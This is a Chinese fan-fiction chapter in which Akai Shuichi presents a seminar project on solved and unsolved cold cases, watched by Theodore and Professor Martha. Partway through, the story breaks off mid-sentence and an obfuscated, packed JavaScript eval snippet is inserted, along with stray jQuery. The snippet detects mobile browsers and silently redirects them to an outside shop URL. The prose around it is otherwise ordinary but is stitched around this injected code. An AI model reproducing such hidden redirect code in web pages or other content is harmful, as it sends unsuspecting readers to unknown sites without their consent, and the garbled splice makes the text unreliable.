赤井秀一极短地停顿了一下。
“再比如，棋艺天才在美遇害案。因为涉及外交问题，从案件最初期就由FBI精英小组侦办，却至今仍是悬案。”
狄奥多注意到，赤井秀一的目光从稿纸上移开了一瞬，像是不需要看笔记也能说出这个案子的每一个字。但他的语气没什么变化，依然平稳、克制。
“调查过程中运用了当时最先进的心理侧写、物证分析、媒体协查等手段，也排查了棋手生前的两百多名社会关系人员——包括对手、教练、赞助商、甚至他在网上的匿名对弈账户。所有线索都指向一个模糊的方向，但没有一条能走到终点。”
“我将这类案子放在课题的最后，不是为了给出结论。而是想说明一个事实：已破悬案的破获规律，反过来看，恰恰解释了为什么有些悬案永远破不了。因为它们缺少了那些‘偶然’——缺少了那个捡烟蒂的巡警，缺少了那个摊开地图的警探，缺少了那间恒温恒湿的地下档案室。”
“或者，”他顿了顿，“缺少了某个人，在所有人都放弃之后，依然没有忘记。”
教室里安静了几秒。
玛莎轻轻敲了一下桌面：“你采访的那位探员，是谁？”
“应要求匿名。”赤井秀一说。
玛莎没有追问。她在笔记本上写了一行字，然后抬起头，看着赤井秀一。
“你的课题，是要做已破悬案。未破的这部分，你打算放进去多少？”
“他们只是对照组。”赤井秀一说，“全文的百分之五。”
玛莎点了点头，算是默许。
赤井秀一便接着说下去。
“我研究这部分未破悬案，不是因为想通过它们反证什么，而是因为它们的失败，同样能告诉我们一些东西。”
白板上出现了一行新的字，把白板完完全全地填满了：
悬案研究的另一面——为什么有些案子破不了？
“比如，受害者的生活方式如果本身具有高流动性、低社交黏性，就会导致排查范围无限扩大。比如，如果凶手与受害者之间不存在可追溯的社会关系，传统的‘动机-关系’推导模型就会失效。”赤井秀一的声音没有起伏，“再比如，如果案发时间与尸体发现时间之间存在较长间隔，那么目击者证词的可靠性就会呈指数级下降。”
他合上文件夹。
“刚才讲的这些，无论是已破案的成功要素还是未破案的失败原因，本质都是对已有事实的归纳。但如果只是总结这些，”赤井秀一翻到下一页，“那这份报告就只是给警方的工作总结。我想说的是另一个角度——这些突破口，为什么会在那个时间点出现？换句话说，那些促成破获的因素里，哪些是偶然，哪些可以复制。”
他顿了顿。
“科技手段的进步是随机的，不取决于任何人。但人际网络的重新梳理，往往源于某个调查员的不放弃。程序漏洞的补全，源于某个案件的惨痛教训。而调查视角的转换——那个更难得，通常需要外部力量的介入，比如新加入的成员，或者来自不同领域的专家。”
狄奥多听着，觉得这和普通的案件分析不太一样。赤井秀一在讲的不是“凶手是怎么被抓到的”，而是“那些促成破获的因素，哪些是可复制的，哪些是不可复制的”。某种意义上，这几乎是一堂就业指导课——他在告诉在场的本科生，如果你将来想干这一行，你能在哪个环节发挥作用。
玛莎全程没怎么说话，偶尔点一下头。等赤井秀一讲完，她端起咖啡喝了一口，说了一句：“不错。”
她顿了顿，补上了一个问题：
“不过关于爱丽丝案烟蒂证据的分析，你没有什么要补充的吗？”
“那个巡警后来接受采访时说过，他之所以捡起烟蒂，是因为案发前一天他刚参加完一个证物保存的培训。培训讲师反复强调的一句话是——‘你永远不知道什么有用。’”赤井秀一看向玛莎，点了点头：“所以这也可以反推，制度化的培训和教育，同样是破案率的隐性变量。”
狄奥多眨眨眼，发现玛莎教授好像是在故意抛砖引玉。
破了冰，其他组员也开始提问。狄奥多没有开口，他还在消化赤井秀一刚才说的那些内容。他注意到赤井秀一在讲到“调查视角的转换”时，举了两个例子。一个是爱丽丝案——那是他在康复中心采访布伦南时听来的。另一个赤井秀一没有详细展开，只说是一桩天才棋手被害案，因为涉及外交问题，在FBI手上悬而未决多年，最终居然因为一个记者的报道注意到某个被所有人忽略的细节——当时和棋手住在同一所酒店的还有一位大人物——而找到了新的方向。
后者就是赤井秀一在康复中心采访的那位探员的案子吧。狄奥多还记得。
林赛比平时响亮了不少的声音把狄奥多拉回了讨论里：
“你刚才说公路杀手案的破获是因为跨区信息整合，但我记得那个案子里，最后锁定凶手的是一条轮胎印。那条轮胎印的信息在两个州的数据库里都存在，但格式不统一，是人工比对时发现的。”
赤井秀一转向她：“对。所以这也暴露了一个问题——不同辖区的数据标准化程度低。如果当时的系统能自动识别同类特征，也许案子会早几年破。”
讨论持续了大约二十分钟。玛莎偶尔插一句话，更多时候是在听。狄奥多也在听，但他是用一种不同的方式在听。
他见过这些案子的卷宗。
不是全部，而是塞伦案审判期间，基甸给他看过的那些——作为判例参考，作为“类似案件如何侦破”的教学材料。他当时只是匆匆扫过，记住的是结论，不是过程。
但赤井秀一讲的不是结论。赤井秀一讲的是过程里的那些“人”的细节——那个捡烟蒂的巡警，那个摊开地图的警探，那些在无人要求时仍然做了一件事的人。
他看向赤井秀一。
赤井秀一正在回答阿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530838|202170||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
德里安关于DNA技术成本的问题，语速不快，但每句话都落在实处。他没有用术语堆砌，也没有刻意简化，只是很诚实地把已知的说出来，不知道的就说“这方面的数据我没有查”。
玛莎对他的评价是：“逻辑清晰，材料扎实，但板书写的太乱了。”
赤井秀一面无表情地说：“下次改进。”
几个组员笑了。
狄奥多也笑了。
他发现自己很久没有这样笑过了。
讨论结束后，组员们陆续收拾东西离开。教室里很快只剩下狄奥多和赤井秀一。黑发青年正在把白板上的字擦掉，动作不快，油墨的痕迹慢慢消失，露出白板的底色。
狄奥多走过去，靠着窗台，看赤井秀一来回移动着手臂。
“你讲得很好。”狄奥多说。
“嗯。”赤井秀一继续擦。
“不是恭维。”
赤井秀一的手停了一下，然后继续擦。把最后一行字擦掉后，他把板擦放回槽里，转过身，面对着狄奥多。
“你刚才一直没提问。”
狄奥多愣了一下。他没想到赤井秀一注意到了。
“因为我都听懂了。”他说。
赤井秀一看了他一眼，目光里带着一种狄奥多说不上来的东西——不是怀疑，不是审视，更像是在确认什么。
“那个棋手案，”狄奥多忍不住说，“你选它，是因为它让你想到什么吗？”
赤井秀一沉默了两秒。
“因为它是悬案。”赤井秀一说，语气很淡然，“我想知道，那些破不了的案子，到底是差在哪里。”
他没有给狄奥多追问的机会，转身去讲台上拿文件夹。
狄奥多跟过去。
“你刚才说，已破的案子往往是有人做了没要求他做的事。”狄奥多说，“那没破的呢？是没人做，还是做了也没用？”
赤井秀一把文件夹夹在腋下，看着他。
“都有可能。”赤井秀一说，“但如果不研究那些破不了的案子，你就永远不知道是哪种可能。”
狄奥多思索着点了点头。
他觉得赤井秀一说的不只是一个学术问题。
两个人走出会议室。走廊里已经没什么人了，阳光从西边的窗户斜照进来，把整条走廊切成明暗相间的条纹。赤井秀一的影子落在地板上，很瘦，很长。
狄奥多忽然想问他一个问题。
不是关于案子的。
“你研究这些，”狄奥多开口，声音在空旷的走廊里显得有点大，“是想改善司法体系吗？”
赤井秀一没有立刻回答。他走了几步，然后停下来，侧过脸看着狄奥多。
然后他笑了——不是那种开心的笑，更像是被人问到意料之外的问题时的、带着一点自嘲的笑。
“我？”赤井秀一微笑着，表情里很快带上了对狄奥多荒谬提问的调侃，“我可是个混血外国人哦。”